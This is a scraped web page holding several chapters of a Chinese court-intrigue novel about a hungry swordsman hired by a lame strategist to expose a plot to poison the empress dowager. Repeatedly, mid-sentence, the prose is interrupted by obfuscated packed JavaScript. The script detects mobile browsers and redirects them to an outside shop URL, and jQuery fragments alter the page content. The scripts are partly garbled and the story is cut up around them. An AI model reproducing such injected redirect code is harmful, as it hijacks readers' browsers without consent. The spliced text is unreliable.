《瘸腿美人又在骑嘴套恶狗》 1. 黑狗 雍京的秋夜,雨很沉,砸在人身上一颗颗地疼。 市集早已散了,街边所余的不过是一张马棚,几匹滞销的驽马,和一伙儿没有归处的马贩子。有机会时,他们或许也兼做奴隶生意。 眼下是什么生意都没有的。十一二个马贩围坐一圈,分吃点儿蒸饼和葵汤,聊以饱腹。 忽而一道身影遮住了马棚旁为数不多的月光。马贩们看过去,见一个黑乎乎的人站在那里。 那人似乎全身上下都是黑的,玄黑的破衣,玄黑的铁剑,口鼻上还覆着张玄黑的兽首面铠。哪怕浑身已被淋湿,一头蓬乱的粗硬黑发还是在他脑袋上支棱着。他开口时,仿佛一匹黑狗在说话。 穆辞川说:“劳驾,避雨。” 他个子高,打扮粗野,还带着剑,马贩们不敢轰,试探着道:“你到马食槽上坐着吧。” 穆辞川说:“好。” 又说:“饼卖不卖。” 马贩们相顾片刻,答到:“不多了,五文钱卖你一个。” 穆辞川神色不变,藏在袖里的一只手悄悄撵开两枚铜板,道:“买不起,多谢。” 说完,就转身走到马棚下,面向长街,坐定在马槽一角,一动不动。 马贩们望着他的背影议论两句,便也继续低头吃饭。热汤饼在筷子的搅动下,蒸腾起丝丝香气。 穆辞川看似没动,其实胃袋动得很欢,只可惜其中实在没有什么东西值得消纳。 余光瞥见身边槽内的马食,麸皮杂着干草,软软地拌在一起,看起来倒也可下咽。两枚铜板买口马食,应当是买得起的。穆辞川踌躇片刻,终于伸手捞起一团,要往嘴里塞。 哗啦一声水响,街边溅起一大片浊浪,把他这三天来的第一口饭冲化了。 穆辞川带着点怒气一抬头,便见一辆雪白的高大马车急停在他面前。而后啪地一声,车窗打开一条窄缝,隐隐露出里面一双美丽而无神的眼睛。 “公子,买马?”马贩们见有人光顾,都迎上来,不觉把穆辞川团团围住,“今日只剩这几匹了,若要好货,明日再给公子牵来。” 那双眼在马棚间扫了一扫,无论扫到那里,神情都是一样淡漠。 一轮扫完,双眼隐去,换成一根雪白如玉葱的手指。车里的人指着穆辞川问:“他卖不卖。” 听声音是个年轻男子,语气与穆辞川问饼并无二致。 穆辞川竖起眉,没有说话,想来是这个人把他认成了待卖的奴仆。马贩们解释道:“诶呦,公子误会了。这个是方才过路避雨的,不是奴才。公子想买人,明天我们给公子挑俊的。” 车里的人没答他们的话,手指收回,一粒碎银就从车厢里飞出来,落在马槽旁的水地里,反射出银白的光。 车里人又问:“卖不卖。”声音淡得像水。 马贩的眼睛都盯着那粒银子,却无一人敢上前捡。过了一会儿,打头的道:“公子,就不要为难我们这些老实做生意的了。” 更多的银子从车窗的窄缝里被抛出,打在地上、马槽上,打在马贩子的心尖上。凑够二三两时,人群间已传出细细的躁动;待到银子总数达到五六两时,这间草棚下的马鞭、马具、条凳、菜刀,就已经全数高举在每一名马贩的手中。 兴许穆辞川是个正被悬赏捉拿的恶人吧,兴许他是马车里那位老爷的仇家吧。当着银子的面,马贩们有的是理由为自己开脱,然后向着面前那个一身黑衣的穷苦青年挥舞武器。 首先动手的是马贩头子,他朝着穆辞川的脑袋挥刀就劈,然后铮地一声,手中菜刀忽然高高飞起,打着旋落在数丈开外,他本人也如菜刀一般打着旋飞出,摔在马槽另一端。 穆辞川仍坐着,只是掌中的剑已经高举。剑未出鞘,一层厚厚的黑布裹在剑鞘之外。 穆辞川说:“对不住,是你先动手的。” 马贩们相视一眼,一拥而上。穆辞川手臂翻转,用棍般使出几招,片刻间桌椅板凳叮叮当当落地,马贩也都横七竖八地躺在了地上,其中一人整个嵌在食槽之内,尺寸正好。 穆辞川站起来,向地上的群贩一拱手,道:“得罪。但你们也着实不是善人。” 马车里的人弯起眼睛笑起来。“好剑法。”他说。 话音未落,穆辞川的剑就出了鞘。 那是柄烧火棍般的阔剑,剑锋与护手都是一体的漆黑,所过之处,仿佛把五色全部吞吃,唯有轮廓在雨中溅起一圈银光。剑柄握在穆辞川手里,剑尖刺在那双雾一般的眼眸前。 穆辞川说:“你更不是。” 那双眼歪了歪,车里的人说:“嗯?” 穆辞川沉声说:“你比他们都要恶。” 月光晃过,映亮他的面容,乱发之下,浓眉、狭眼,神情是恶犬般的狠戾,他的人比那张遮盖他下半张脸的黑铁面铠更加令人胆寒。 但他虽长得凶了些,却实在并不是恶人。就如那些马贩虽贪财了些,实在也不至于十恶不赦。 最为恶的,是马车里这个自诩用几两碎银子便可挑弄人心、随意将素不相识的陌生人推入绝路与歧途的男人,哪怕他的双眼比月光还要美丽。 男人似是笑着说:“扶摇。” 随着他的呼唤,马车前跳下来个十五六岁的少年,他穿着绀蓝的绸衣,手持马鞭,脸蛋圆润,面无表情,看起来方才就是他在赶车。 少年站定在穆辞川身前,拧开马鞭一端的宝石,从中拔出一根一尺长的钢刺。 男人又说:“换你试试。” 一语未毕,少年就已忽然出手,刺铓转瞬便点到穆辞川眼珠。他打起架来像不要命,只看人,不看剑,逼得穆辞川倒退几步,身上着了几道划痕。 “你们闹够没有!”穆辞川一边格挡,一边呵斥,仿佛一条被石子砸恼了的野狗,根本不知道自己哪里惹到了这个男人。 男人不语。少年也不语,只是不断地出招,他动作轻捷,招招见血,钢刺不时挨着穆辞川的脖颈划过。 他本怕伤着少年,不肯下重手,现在只好大喝一声:“不好意思!” 随后,他便极快极重地挥出一剑,乌黑的剑体在夜色中难以辨认,一剑便破了少年的招数。剑锋刺入少年左肩,温热的血汩汩涌出。 少年的神色却没有半点变化,右手依旧持刺,左手忽然捏住铁剑,狠狠向前一挣。剑锋没入更深,已抵住少年的肩胛骨,少年的钢刺却也够着了穆辞川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609346|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喉咙。 穆辞川没有办法,拧动手腕,将剑刃卡在少年的骨头缝里,用剑推着他,一步一步地向前走去。 他比少年高出一头,武器也长上二尺不止,因此哪怕少年拼命地将钢刺向前递,也只能堪堪划在那张兽首面铠上,发出吱吱的响声。他走一步,少年就只能退一步。 砰地一声轻响,少年的背抵在那辆白马车上,退无可退,手臂却仍不屈地挥动着。 穆辞川无奈道:“你输了。” “是啊,扶摇。”马车里的男人开了口,淡淡道,“你输了。” 这句话仿佛一柄小刀,挑断了少年的手脚筋脉。扶摇忽然就不动了,本来冷若冰霜的神情也出现了裂痕。他垂下手站着,肩上、手上,都在流血。 穆辞川收回了剑,剑锋没沾一滴血。 “崔子慎,我输了。”扶摇就这么站了一会儿,忽然说。穆辞川看到他的身体在发抖。 车里人道:“侍郎府不留战败的部曲,这事你是知道的。” 扶摇于是抖得更厉害。他一边抖,一边以双手反握钢刺,毫不犹豫地向自己的脖颈扎去。 “等一下!”穆辞川不明就里地叫住他,“你要干什么?” 扶摇抬起头,双眼发湿,薄薄的嘴唇微微哆嗦。他说:“这是我们侍郎府的规矩,幕僚失策、部曲败阵,都是死罪。” 王八规矩。穆辞川想,照这规矩,就算是张子房、吕奉先来了,都得砍头。 扶摇实在没有到需被砍头的地步。于是穆辞川道:“你们不要寻死觅活的了。方才算我输了,行不行?” “行。”车里的人忽然打断他,他应当就叫崔子慎,崔子慎说,“但是有个条件。” “什么条件?” 崔子慎道:“你若承认输了扶摇,就同他换一换,过来替我拉车。这样你们两个便都能活,怎么样?你不是很善良么。” 穆辞川感觉自己似乎着了他们的道,忙说:“我干嘛要听你的?” “不瞒你说,我已跟了你许久了。”崔子慎笑起来,“眼下我正有件要事要做,急需一个好打手,你恰好也正走投无路。你放心,我绝不会亏待你,拉完这一趟车,我付给你二十两银子,够你吃六七年的饱饭。” 二十两银子,足够穆辞川在雍京四处打点,以寻找长姐的下落。惹得他一时不知道,遇上这个崔公子,究竟是坏事还是好事。 他看了看身前仍旧试图自裁的小扶摇,又看了看车里那双眼睛,开口道:“我给你赶车,用不用杀人的?” 崔子慎道:“不用。” “那用不用自杀?” “也不用。”崔子慎说,“你只需记住一点,若我死了,你便拿不到那二十两银子。” 那就是当保镖了。穆辞川倒也熟悉,来雍京的一路上,他常给人当保镖或打手,以接济路费。 他于是从怀里掏出一袋子大药丸来,塞进扶摇手里,对他说:“这是我家祖传治外伤的大风丸,你拿着,一半外敷,一半口服,伤口不出十日就能愈合。今日实在对不住。” 随后,他便如要去赴死一般,挺胸抬头,登上了那辆雪白的马车。 他实在饿得狠了。 2. 二十只鱼头 登上了马车,一切便都不重要了。穆辞川不再管自己是否受了他们的骗,只是依照崔子慎的吩咐驭马。 能一次赚足二十两银子的活计,属实罕见。他缺钱。 他沉默地赶车。崔子慎倒是坐在车厢里问个不停:“你叫什么名字?” “穆辞川。” “好名字,山不让尘,川不辞盈——你是哪里人?” “幽州。” “家里做什么的?” “开食肆。” “来京城干什么?” “找人。” “找什么人?” “……” 问到这里时,穆辞川就不答下去了。男人只好改口开始介绍自己。 “我叫崔疑。”他说,“表字子慎,给刑部沈侍郎当了十二年的幕僚。” 穆辞川说:“哦。” 崔疑说:“你就没有什么想问的?” 对个仗势欺人的官家公子,穆辞川本就打着拿了钱走人的主意,没有什么想问的。出于礼貌,他学着崔疑的话问道:“那你是哪里人?” “……” “家里做什么的?” “……” “来京城干什么?” “……” 崔疑一句都没回答,车厢里陷入一片沉寂。难道这些话正戳中了他的痛处么? 又走出一二里,路过一间还未打烊的酒肆。崔疑才好似平复了情绪,开口道:“停一停,我先带你去这里用顿饭。” “不用了。”穆辞川道,“早办完事,我好早走。” 崔疑道:“不急。” 穆辞川道:“我急。” 崔疑轻轻地笑起来:“我要做的事很是危险,一会儿如若需你出手,你却饿晕了,怎么办?我是想当个饱死的鬼的。” 拉车的人,终究拧不过驾车的人。 他们到底还是在酒肆楼下停了车。穆辞川翻身下地,忽听见崔疑在车厢里唤:“来帮帮我。” 怎么,大公子身娇体贵,连下车都要人扶?穆辞川颇觉不悦,但还是掉头打开了车门。 随即他便怔住了。 他首先是惊叹于崔疑的漂亮。纵然光线晦暗,穆辞川也看得出那男人的容貌就像是从最精美的模具中倒扣出来的一般。他极白润,乌发如云,双颊如月,眉目如烟,浑身没有半点瑕疵,却也同样没有半点精气神。 他假人般端端正正地坐在车厢里,穿着身雪白的衣袍,裸露在外的星点肌肤都是玉一样的洁白光滑,可就是分明地透露出死气,仿佛那车厢就是他的棺材。 穆辞川敏锐地看向他周身死气最重的部位——那是他的双腿,好端端地遮在衣摆之下,静得出奇。 “你的腿……”穆辞川轻声道。 “小时贪玩,被马车齐膝压坏了,不堪行走。”崔疑倒不回避,一边说,一边取出一支玉杖,向穆辞川伸出手道,“烦请帮衬一把。” 原来这便是他一定要一个仆人赶车的原因。 穆辞川扶着他,缓缓下车。崔疑身上也是玉一样的微凉,他一手拄玉杖,一手抓穆辞川,靠着挪动膝盖而艰难前行,浑身都被那黑衣的青年濡了个半湿。 他个子并不比穆辞川矮,搀扶起来非常困难。 即便如此,他还是坚持上楼挑选了位置最好的画窗边坐下,哪怕窗外只有一片夜色。 “事先说好,我没有钱。”在酒肆里坐定,穆辞川本欲开口关心崔疑的断腿,最终却也只是说了这么一句。 “工作茶饭,自然由我请客。”崔疑捧起酒肆博士递上的薄荷热茶,阖眼浅啜了一口,“只管点菜就是。” 看得出来,崔疑远非生活穷困之辈。想起方才经历的捉弄,老实如穆辞川,也渐渐生出些要宰他一顿的恶毒心思来。 咬咬牙,狠狠心,穆辞川向酒肆博士道:“我要一大碗葵菜汤饼,加两个油煎鸡蛋!” 崔疑一边喝茶,一边吭哧笑了一声。 穆辞川瞥他一眼:“你心疼了?” “不心疼,不心疼,依你喜欢就是。”崔疑嘴上没说什么,又伸手招来博士,补充到,“再添一斤炙羊肉,二十只清蒸鱼脑。” 二十只什么? 肉与菜很快端上了桌。穆辞川低头看着面前的一大碗汤饼与架在红柳枝上烤熟的羊排,感觉自己像条被主人喂了肉的狗。 再看看桌案对面,崔疑依旧在饮茶,身前却已摆了一张大碟子,里面整整齐齐立着二十只又小又尖、泛着银光的清蒸鲈鱼脑袋。 穆辞川震惊地看着那些不带半点脖子肉的尖锐鱼头:“你吃这东西?” “对头脑有益,你也应当吃些。”崔疑放下茶盏,却没动筷,只睁着那双没有光彩的眼睛,连同盘子里那二十双死鱼眼睛一起,盯着穆辞川。 被盯得浑身发毛,穆辞川道:“看什么。” 崔疑道:“看你什么时候会摘了面铠吃饭。” 就知道他没打什么好主意,穆辞川也不管他,挑起一筷子油光发亮的面条,穿过面铠上的兽嘴镂刻,送入口中。 “羊肉呢?”崔疑忙道,“隔着面铠可啃不到排骨。” 穆辞川望他一眼,撕下一片带骨的羊排,竖着从兽口一探到底,再拔出来时,只剩一根光秃秃的骨头。 崔疑露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雨还在下,扶摇无所事事地低头走在路上,撑着一把机关巧妙的折叠小竹伞。肩上的伤口经过简单的包扎,已不再出血。 侍郎府三百名部曲中,他的年纪最轻,经验最浅。今日侍郎大人派他们去见谢中书,事及朝堂间的派系争斗,弄不好便要大动干戈。崔疑找人将他换下,倒也在他的意料之中。 他只没有想到,子慎哥哥为此竟连败阵便要处死这般荒诞的借口都编得出,还因怕他讲漏了嘴,一路上都不许他多说话。 他已要憋得疯了! 除此之外,他也实在担心崔疑。那个路上捡来的短工,虽说剑法不差,装得又老实,却也是个见钱眼开的主,真动起手来,还不晓得肯不肯出力。 想到这里,扶摇恨恨地咬了一口手中穆辞川赠与的大风丸。 “苦死了!”药丸味道苦辣得出奇,一下子便给少年呛出了眼泪。扶摇火气更盛,兀自骂到:“今日是我让了你三分力,你要是敢害子慎哥哥受了伤我就一同跟你算账……唔!” 还未及骂痛快,他的后颈上便突然挨了一手刀,昏迷过去。 3. 什么叫抗新娘 扶摇再睁眼时,人已躺在侍郎府的锦榻上,正看见一个穿窄袖胡服的女子刚把湿帷帽摘了挂起,转身去沏一碗樱桃甜羹。 那是鹭娘,侍郎府三百部曲之首。扶摇对她熟得很,于是哀哀叫起来:“鹭娘,脖子好痛,以后不要再给我打昏了嘛。” “你太吵了。”鹭娘没看他,把甜羹端给后方圈椅里一个男人,冷声吩咐道,“行礼。” 扶摇这才随着她的话看见那个男人,待看清了对方面容时,背上登时透出一层冷汗,头晕劲儿消散了个干净,忙从榻上爬下来,跪在地上正色道:“沈大人。” 刑部侍郎沈绣穿着件碧色的金丝软袍,敛着双眼坐在椅子里,搅和着那碗甜羹。过了半晌,才悠悠道:“怎么不同子慎在一起。” 处死部曲的传言虽是编的,可沈侍郎的耳目与手段却没有半点掺假。扶摇顾不得肩膀上的阵痛,伏得更低,回禀道:“大人,崔公子斥责属下武艺不精,另选了人伺候。” 男人的睫毛轻轻抖了抖,随后右眼如名贵的贝壳一般,缓缓睁开一条窄缝。 扶摇猛然间感到胸膛一阵中箭般的强烈刺痛,伸手一摸,平坦如常,才明白过来那不过是沈侍郎的目光落在他身上。 沈绣慢慢地道:“是什么人。” 扶摇一点也不敢隐瞒,叩了个响头,忙道:“是在马市附近重金雇来的打手,北方口音,八尺高,穿戴很破,有一把好剑,戴面铠……” 沈绣听他说完,收回目光,将只尝了一口的樱桃羹放回鹭娘手里,道:“你听出什么没有。” 鹭娘冷冷地说:“崔疑捡了条流浪狗。” 沈绣失笑道:“怎么这样说。” 鹭娘说:“只有狗才戴嘴套。” “只有咬过人的狗才要戴嘴套。”沈绣纠正道,“你可还记得那个多年前从雍京逃亡去幽州的案犯吗。” 那时正值先皇殡天,朝野间党争不断,枉杀的良人与漏网的罪犯都不在少数。但其中值得被沈侍郎特意提起的,并不多。 鹭娘忽然紧紧抿起嘴唇,一句话都不说了。 沈绣也不再接着讲下去,只道,“鹭娘,等天亮了,你亲自去一趟安乐坊,看看他们的死活吧。” 抵达安乐坊时,离天亮还有不到一个时辰,雨几乎已经停了。 中书舍人谢钦的私宅朝街开有朱门。穆辞川将马车停在路边,自己走过去叫门。来开门的是个童子,先是被他的面铠吓了一激灵,随后问他何事。 穆辞川回头看了眼马车,照着崔疑教给他的说:“听闻谢中书今日在府中摆办寿宴,我们二人特来祝贺,劳烦仙童引荐。我是北方来的伶官,要给中书大人献舞的,车里是班主。” 听见马车里传来轻轻的笑,他就知道这又是崔疑的作弄。 门童果然不悦起来:“寿宴早已散了,这儿没人看你们跳舞。” 说罢,退身就要关门。 “人恐怕还是有的。”崔疑在这时开了口,他推开窗,浅浅瞥了一眼坊门处的泥泞足迹,淡淡道,“六只向外,一百零八只向里,这样看来,里面的人还真不算少。” “你……”门童看他一眼,忽然变了脸色,“是你!你来这儿做什么?” 他果然是臭名昭著了。穆辞川想。 崔疑轻轻地笑了笑,两根手指在车窗边一捻,一张雪白的信纸就从马车里飘出,落在门童面前。 “我来赴宴,是以刑部沈侍郎名义,受谢中书邀请而来。”他笑道,“你怎么敢这么对我说话?” “胡说!中书大人怎么会请刑部的人?”门童骂着,捡起信纸拆开,只扫了一眼,脸色却突然变了。 “你怎么会有……肯定是你伪造的假信!你等着,我找中书大人问个清楚去!”门童狠狠剜了他们一眼,怦地一声,把门关得天响。 再开门时,他拖来了一只小步辇。 “中书大人请你们进去。”门童将步辇往街上一丢,不情不愿地道,“请自便吧。” 穆辞川看出那步辇是特意拿给崔疑用的,他们既认识他,自然也就该知道他双腿有残。 穆辞川先前给崔疑赶车,现在就只好接着给他抬轿子。一切冲着二十两银子,他将崔疑请下车,扶他坐到步辇的小软垫上。 待他招呼那门童一前一后来抬轿时,门童却不动了。 穆辞川道:“我一个人抬不了,麻烦帮一把。” 童子倚着门框,仰着头道:“我是中书大人府里的学生,按照礼法,不能抬你们两个白身。” “你不肯抬他?”穆辞川感到惊诧而可笑,回头对崔疑道,“你听到没有,他嫌弃给你抬辇子有失身份。那我一介草民给你拉车,是不是也丢了你的脸?” 可他很快笑不出了,因为他发现崔疑正以一种异常严肃的目光望着他,不发一言。眼底虽仍没有情绪,却透露出一股潭水般的清寒。 穆辞川这才明白过来:“他们是在故意欺负你?” 崔疑没有回答,望着穆辞川,伸出手道:“扶我起来,我缓行即可。” 穆辞川说:“那院子深得很,你走不了。” 崔疑只道:“扶我起来。” 语气凉得仿佛已被抽去了最后一□□气。 但他其实是不是很想活着的?是不是很想站起来的? 穆辞川的胸膛中忽然翻腾起一股强烈的愤愤不平。 “等你走进去,天都亮了。”他大踏步地走过去,俯身抄住那只步辇的木头底座,道一声,“抓好。” 然后不容对方反应,双臂一使劲,竟将崔疑连人带轿子一起扛到了肩膀上。 “你做什么?”天旋地转之间,崔疑吓了一跳,紧紧抓着轿辇扶手,“快放我下去!” 穆辞川不管他,就这么扛着那本应双人同抬的步辇,顶着崔疑与门童惊异的目光,一步一步往中书府邸里走,将脚下的青石砖都踩得下陷了两分。 他瞟了瞟肩上的崔疑,见那张雪白脸蛋上终于浮起点活人的绯红,便知道他在口是心非。 崔疑果然不再闹了,身体随着穆辞川的步子轻轻摇晃,衣袂又软又凉,白蛇似的往穆辞川的面上拂。行至大厅门外时,他小声嘟囔了一句。 穆辞川说:“啥?” 崔疑重复道:“你这样扛着我,像在扛新娘。” 穆辞川浑身一阵恶寒。 门童似乎是被穆辞川的力气吓到,不再阻拦,只在他们进屋前窃窃提醒到:“堂里不准带剑……” 穆辞川瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609348|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一眼:“我要跳剑舞。” 肩上又传来崔疑的轻笑。 门童再不敢多说,给他们打开了堂屋的门。 厅堂很深,灯火黯淡,仔细分辨,才能看出左右都坐满了宾客,宾客后方又各立了两排按刀的护卫,齐刷刷盯着他们二人。 如果说这间厅堂像间墓室,那些宾客和护卫就像是镇墓的石人与送葬的鬼。 他们打算把谁送到死路上去? 厅堂中央,高坐着个整身官服的中年男人,长眉细眼,正是中书舍人谢钦。他脸上带着和煦的笑容,笑纹却有些诡秘地隐在幽幽的烛火里。 崔疑坐在穆辞川肩上,虽有些滑稽,却也添了几分气势。他不看满屋的官吏与守卫,只对着谢钦拱手道:“恭贺谢中书又活一岁。” 谢钦笑道:“崔小公子能来赴宴,鄙人幸甚至哉。请入座。不知沈侍郎为何没有一同前来?” “刑部事务繁忙,沈大人抽不开身,只让我代为恭贺。”崔疑叫穆辞川把他与步辇一同摆在末位上,道,“这个男伶便是沈侍郎特别遣我献给中书大人的,还请大人务必笑纳。” 谢中书不置可否,只道:“哦?” 崔疑道:“他有一样独门绝技,便是可以一边舞剑,一边用剑尖斟酒。今日时机合适,不如就让他这样斟酒给诸位大人们看吧。” 谢中书道:“也好。” 崔疑于是从怀中掏出一只青瓷执壶,对穆辞川道:“有劳了。” 堂中烛灯晃了晃,众人的目光都落到了那只酒壶上,仿佛都相信那里面装的是见血封喉的毒酒。 穆辞川犹豫片刻,快步走到崔疑身边,俯下身在他耳边小声说:“我不会。” 崔疑也低声说:“二十两。” 穆辞川于是铮地一声拔出了剑,四周护卫也一同佩刀出鞘,刀光剑影在堂间周旋了一圈。堂下隐隐惊动起来。 穆辞川不管那些,将剑锋往崔疑面前一探,那壶酒便稳稳当当地立在剑尖上,青年手腕翻转,长臂回环,玄剑在空中分出一道满月般的弧光,最终以剑刃挑着执壶的手柄,送抵旁边宾客面前。 剑锋一倾,酒水便像流星一样从壶口泄出,斟进宾客杯中,一滴未洒。 谢钦抚掌说:“好功夫。” 穆辞川依次斟酒。崔疑趁机道:“他一斟酒,晚生倒想起一桩新鲜事来。前不久皇帝寿诞,圣人陛下与太后娘娘、众位皇室叔伯兄弟一同饮宴,席间不知从哪里飞来一只蚱蜢,跳到了太后娘娘的山月玲珑杯里,惊慌之间,把杯子蹬到地上摔碎了。” “如今陇右蝗灾正盛,不想都飞到了御宴上。”谢钦淡淡地道,“不知那只蚱蜢后来怎么样了?” “死了。”崔疑说,“席上恰好还有一对斗鸡,扑上去将那只蚱蜢分吃了。” 谢钦点点头道:“雄鸡食蚱蜢,天经地义。” 崔疑却接着道:“中书大人知不知道,那对鸡后来又怎样了?” “怎样?” “也死了。”崔疑的声音已冷下去,“后经太医检验,山月玲珑杯中的残酒竟含有剧毒。若不是斗鸡误食了有毒的蚱蜢,毒发而死,太后娘娘恐怕便要受奸人所害。” “不知这件事,谢大人可有听闻?” 4. 山月玲珑杯 他讲完这件事,穆辞川也刚好斟完最后一杯酒。 崔疑道:“舞已献完,晚生敬等大人回礼。” 满场宾客的脸色皆都鬼一样的难看。谢钦道:“你想要什么礼。” “圣寿礼单就保存在中书府。”崔疑脸上挂着笑,“只要将它取来,查一查御宴用酒是哪个衙署进送,不就能找出谋害太后的凶手了吗?” 阴风吹过,灯火狠狠地明灭了一次。谢钦的影子在堂壁上一晃,他忽然笑了笑,道:“原来崔小公子就是为此而来。” 崔疑也笑道:“谢中书岂非也正是因此相邀?” “谢大人,不必听他的。”席下有幕宾低声提醒,“他们是受了太后旨意来的,没打好主意。” “太后遇刺,理应彻查。刑部查案,各省理应全力配合。”谢钦面色如常,温声道,“将礼单取来,给崔小公子仔细查看。” 一册杏黄色的番页礼单很快呈到崔疑面前。他没有看,而是对身旁的穆辞川说:“你可识字?” 穆辞川人已神游,听见这话才道:“认识些。” 崔疑指了指那册礼单:“来读。” 穆辞川心里不爽,但也懒得争执,只把崔疑想象成一只硕大的银锭子,卖上几分薄面。他走上前,拿起礼单,一个字一个字地念起来。 “关内道贡麝香五斤、成都府贡单丝罗十丈、中书省贡人参一对、刑部贡渝州桂花酒一坛……” 好像念到了什么不得了的东西。穆辞川停下来,悄悄看了一眼谢钦与崔疑。 谢钦笑了,笑容很愉快。“我看就不必再读下去了。”他笑着说,“还请崔小公子说说看,刑部进贡的桂花酒为何会有剧毒。” 崔疑的脸色变得不太好看,他瞥了瞥穆辞川,道:“若不识字,可以不念的。” 穆辞川把礼单往他怀里一丢:“你自己看。” 崔疑接过礼单,只扫了一眼,便转而盯着谢钦,道:“刑部上下禁酒成风,怎么会进献桂花酒。今年所贡,明明是一架红珊瑚。你改了礼单。” “崔小公子。”谢钦的神情在残灯后显得格外冷,“小公子既是刑部出身,说话最好还是要讲证据。” “我说的难道不对?”崔疑挑眉道,“听闻谢中书反倒是很懂名酒佳酿。中书省偷换礼单,不是正好可以证明那壶毒酒就是中书省进贡?” 堂下发出一阵乱响,几个宾客指着崔疑叫道:“你不要仗着沈绣撑腰,就血口喷人!” 谢钦抚了抚胸膛,长长叹出一口气:“你说酒是中书省进贡,我说酒是刑部进贡,争来争去可没有意思。依本官看,这事的真相如今只有一人知道。” 崔疑问:“谁?” 谢钦伸出一根手指,指向屋顶:“老天爷。” 宾客都笑了。唯独崔疑没有笑,他冷着脸说:“既然老天爷知道,就请老天爷来指认。” 他忽然将面前的酒壶重重摆在桌案上,盯着谢钦道:“我带来的这杯酒,谢大人敢喝吗?” 谢钦的面前当然也有一杯穆辞川斟满的酒。 也是桂花酒,花香很馥郁。 谢钦说:“这杯酒也有毒?” “没有。”崔疑道,“可是如果苍天开眼,无毒的酒也能喝死人的。” 谢钦道:“如果我喝下这杯酒,却死了,就证明我是个谋刺太后的罪人?” 崔疑点点头:“老天通常都是用这种办法主持公道。” 谢钦又道:“可若是个好人喝下这杯酒,却不会死。” 崔疑又点点头。 “你并不是个好人。” 崔疑笑了:“我不算是。” 谢钦道:“你带来的这位舞伶,看起来品格却很不错。” 崔疑道:“他的确是的。” 谢钦于是又取来一只空杯子,将自己杯中的桂花酒一分为二,推了一半给穆辞川,道:“那么,你来把这半杯酒饮下去。” “我?”穆辞川一愣,他行端坐整,从不怕遭天谴,可若杯中的本就是毒酒呢?他看向崔疑。 崔疑也望着他,道:“你只管喝就是了。” 穆辞川道:“你说过给你干活,不需要我自杀的。” 崔疑道:“是。” “服毒也算自杀。” “当然算。” 穆辞川道:“还好我知道。” 崔疑歪了歪脑袋:“知道什么?” “我知道你的腿是真的坏了。”穆辞川大步走到谢钦身前,从他的桌子上拿起了酒杯,可他仍然是在对崔疑说,“如果我死了,就没人能带你活着走出这座宅子。” 说完,他脖子一昂,“咕咚”一声,把那半杯桂花酒喝了个干净。 酒已下肚,他的颧骨上浮起绯红,心脏也在胸膛里怦怦地跳动起来。跳得很强健。 “看来你的确是个好人。”谢钦看着他,看了很久,才终于把另半杯桂花酒拈起来,浅浅地啜了一口。 他又等了很久,他的心脏也还在跳。他笑道:“看来我也还不坏……” 话音未落,他的笑容忽然就已变得僵硬。他那双细眼死死地盯着穆辞川的脸,就连眼角的皱纹都已惊讶得张开。 穆辞川不知道他在惊讶什么,伸手在自己脸上抹了一把,竟从面铠下摸到了一手湿。张开手一看,半只手掌都已染得鲜红。 他在流鼻血? 血出得很凶。鼻血出得太凶,当然也会死人的。穆辞川感到眼前发黑,双腿发软,“嗵”的一声跪坐在地上。 他那时候只想到一件事,就是他这辈子再也不要相信崔疑了。 谢钦脸色发青,他忽地捏起面前的酒杯,举到眼前仔仔细细地看。他当然看出穆辞川已经毒发,也已相信刚才喝下的根本就是毒酒。但他实在无法想到,崔疑竟真的敢毒死自己带来的保镖。 所以他拍着桌子站起来,将酒杯用力地摔碎在地上,大声道:“你难道不怕死!” 两排护卫的横刀一齐出鞘,刀光将厅堂照得发亮。 “怕死的人,也未必就活得更长久。”崔疑望着谢钦,淡淡地道,“谢中书想不想要解药?” 横刀于是都停住。 “好、好……”谢钦的胡须气得发抖,“只有拿到原本的礼单,你才肯交出解药?” 崔疑静静地看着他,道:“我本来的确是这样想。” 谢钦的脸色由青转白:“本来?那么现在呢……” “现在我已经想明白,中书省既然可以打通门路,篡改礼单,自然也不惧被我发现漏洞。原版的礼单,或许已经被谢大人烧毁,绝对找不到踪迹了。”崔疑道,“而下毒的手段,也并不在桂花酒里。” 谢钦颤声道:“不在酒里,还能在哪儿?” 崔疑没有立刻回答,只是忽然问:“谢大人方才为何要去看酒杯?” “本官当然要看一看酒里是否有毒……” “酒里的毒,靠眼睛是看不出来的。”崔疑冷冷地说,“杯里的毒,却或许可以看出。” “什么叫杯里的毒……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢钦愣了愣:“谁?” 崔疑道:“李福生。” “那是谁?”谢钦好像根本不认识这个人。 “他是望仙台的陶瓷匠。为追溯来源,望仙台烧造的每一件瓷器底部都刻有工匠的独特标记,山月玲珑杯的碎片中,便有一片留有他的记号。”崔疑道,“望仙台近日并无匠人伤亡的消息,看起来谢中书并没有灭他的口。” 他顿了顿,接着轻声道:“你其实应该杀掉他的,否则,只要他还有一口气在,刑部就一定有办法让他说实话。” 他的话已说完。 